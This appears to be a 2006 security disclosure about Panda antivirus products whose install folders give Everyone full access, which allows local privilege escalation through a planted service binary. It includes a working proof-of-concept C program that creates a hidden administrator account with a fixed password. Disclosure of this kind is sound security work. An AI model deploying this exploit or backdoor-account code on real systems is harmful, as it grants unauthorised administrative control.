Panda is realy great and realy fast. The Bug was also reported at 16.07.06 to the beta team.

-------------------- 16.07.06 --------------------

Hi there,

i think there are some badly set filesystem permissions in your software.

FileSecure 7.01.10

C:\Programme\Panda Software\AVNT everybody full access

Titanium 2006 (5.03.00)

C:\Programme\Panda Software\ everybody full access

AntiVirus 2007 (2.00.80)

C:\Programme\Panda Software\ everybody full access

Platinum Internet Security 2006 (10.02.00)

C:\Programme\Panda Software\ everybody full access

it is possible to place a binary in the directory and let it execute at startup

as an service with system privs.

example for AntiVirus 2007 (2.00.80):

build it an place it in "C:\Programme\Panda Software\Panda Antivirus 2007"

for english Windows Version Porgram Files or somethin like this.

// --- pavsrv50.c ---

#include <windows.h>

#include <stdio.h>

INT main( VOID )


CHAR szWinDir[ _MAX_PATH ];

CHAR szCmdLine[ _MAX_PATH ];

GetEnvironmentVariable( "WINDIR", szWinDir, _MAX_PATH );

printf( "Creating user \"owner\" with password \"PandaOWner123\"...\n" );

wsprintf( szCmdLine, "%s\\system32\\net.exe user owner PandaOWner123 /add", szWinDir );

system( szCmdLine );

printf( "Adding user \"owner\" to the local Administrators group...\n" );

wsprintf( szCmdLine, "%s\\system32\\net.exe localgroup Administrators owner /add", szWinDir );

system( szCmdLine );

return 0;


// --- pavsrv50.c ---

sorry for my bad english :)

testit on german windows xp sp2 all hotfixes and german windows 2k sp4 all hotfixes

btw. check the " if you install services


BTW: FileSecure 8.00.20 has the same vulnarability

I think the best solution is to change the AV Produkt.
